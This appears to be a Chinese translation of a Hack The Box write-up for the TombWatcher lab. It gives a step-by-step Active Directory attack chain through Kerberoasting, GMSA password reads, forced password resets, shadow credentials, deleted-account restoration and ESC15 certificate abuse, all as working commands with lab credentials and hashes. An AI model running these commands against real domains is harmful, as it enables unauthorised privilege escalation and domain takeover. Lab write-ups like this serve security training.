HTB: TombWatcher
侦察
初始扫描
nmap发现21个开放的TCP端口,显示这是一个Windows域控制器:
1
2
3
4
5
6
7
8
9
10
|
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.72
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
[...]
|
域名为 tombwatcher.htb,主机名为 DC01。
初始凭证
HackTheBox提供初始凭证:henry / H3nry_987TGV!
验证凭证有效:
1
2
|
oxdf@hacky$ netexec smb DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!'
SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!
|
网站枚举(TCP 80)
网站运行默认IIS页面,技术栈为ASP.NET on IIS。Feroxbuster目录暴力枚举未发现有趣内容。
SMB枚举(TCP 445)
SMB共享为Windows域控制器的默认共享,无特殊文件。发现7个本地用户。
BloodHound分析
使用RustHound-CE和BloodHound-Python收集数据,获得完整的AD信息。
Henry用户对Alfred有WriteSPN权限,可通过目标Kerberoasting攻击获取Alfred密码。
认证为Alfred
目标Kerberoasting
使用WriteSPN权限为Alfred账户添加SPN,然后进行Kerberoasting:
1
|
oxdf@hacky$ targetedKerberoast.py -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' -f hashcat --dc-host dc01.tombwatcher.htb
|
破解哈希得到密码:basketball
验证凭证
1
2
|
oxdf@hacky$ netexec smb dc01.tombwatcher.htb -u alfred -p basketball
SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\alfred:basketball
|
认证为ANSIBLE_DEV$
枚举
Alfred对Infrastructure组有AddSelf权限,该组可以读取ANSIBLE_DEV$的GMSA密码。
恢复NTLM
将Alfred添加到Infrastructure组:
1
|
oxdf@hacky$ bloodyAD -d tombwatcher.htb -u alfred -p basketball --host dc01.tombwatcher.htb add groupMember Infrastructure alfred
|
读取GMSA密码:
1
2
|
oxdf@hacky$ netexec ldap dc01.tombwatcher.htb -u alfred -p basketball --gmsa
LDAP 10.10.11.72 389 DC01 Account: ansible_dev$ NTLM: 1c37d00093dc2a5f25176bf2d474afdc
|
认证为Sam
枚举
ANSIBLE_DEV$对Sam有ForceChangePassword权限。
利用
修改Sam的密码:
1
|
oxdf@hacky$ bloodyAD -d tombwatcher.htb -u 'ANSIBLE_DEV$' -p ':1c37d00093dc2a5f25176bf2d474afdc' --host dc01.tombwatcher.htb set password "sam" "0xdf0xdf!"
|
Shell作为John
枚举
Sam对John有WriteOwner权限。
通过影子凭证利用
设置Sam为John的所有者:
1
|
oxdf@hacky$ bloodyAD -d tombwatcher.htb -u sam -p '0xdf0xdf!' --host dc01.tombwatcher.htb set owner john sam
|
给Sam对John的GenericAll权限:
1
|
oxdf@hacky$ bloodyAD -d tombwatcher.htb -u sam -p '0xdf0xdf!' --host dc01.tombwatcher.htb add genericAll john sam
|
使用Certipy进行影子凭证攻击:
1
|
oxdf@hacky$ certipy shadow auto -target dc01.tombwatcher.htb -u sam -p '0xdf0xdf!' -account john
|
获取John的NTLM哈希:ad9324754583e3e42b55aad4d3b8d2bf
Shell访问
使用Evil-WinRM获取shell并读取user flag。
认证为cert_admin
枚举
John对ADCS OU有GenericAll权限。发现WebServer证书模板存在ESC15漏洞。
AD回收站
发现被删除的cert_admin账户:
1
|
evil-winrm-py PS C:\> Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property objectSid,lastKnownParent
|
恢复cert_admin账户:
1
|
evil-winrm-py PS C:\> Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
|
重置密码:
1
|
evil-winrm-py PS C:\> Set-ADAccountPassword cert_admin -NewPassword (ConvertTo-SecureString '0xdf0xdf!' -AsPlainText -Force)
|
Shell作为Administrator
枚举
cert_admin可以访问存在ESC15漏洞的WebServer证书模板。
ESC15利用
请求带有"Certificate Request Agent"应用策略的证书:
1
|
oxdf@hacky$ certipy req -u cert_admin -p '0xdf0xdf!' -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer -upn administrator@tombwatcher.htb -application-policies 'Certificate Request Agent'
|
使用该证书代表Administrator请求User模板证书:
1
|
oxdf@hacky$ certipy req -u cert_admin -p '0xdf0xdf!' -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template User -pfx cert_admin.pfx -on-behalf-of 'tombwatcher\Administrator'
|
认证获取Administrator的NTLM哈希:
1
|
oxdf@hacky$ certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72
|
WinRM访问
使用哈希通过WinRM获取shell并读取root flag。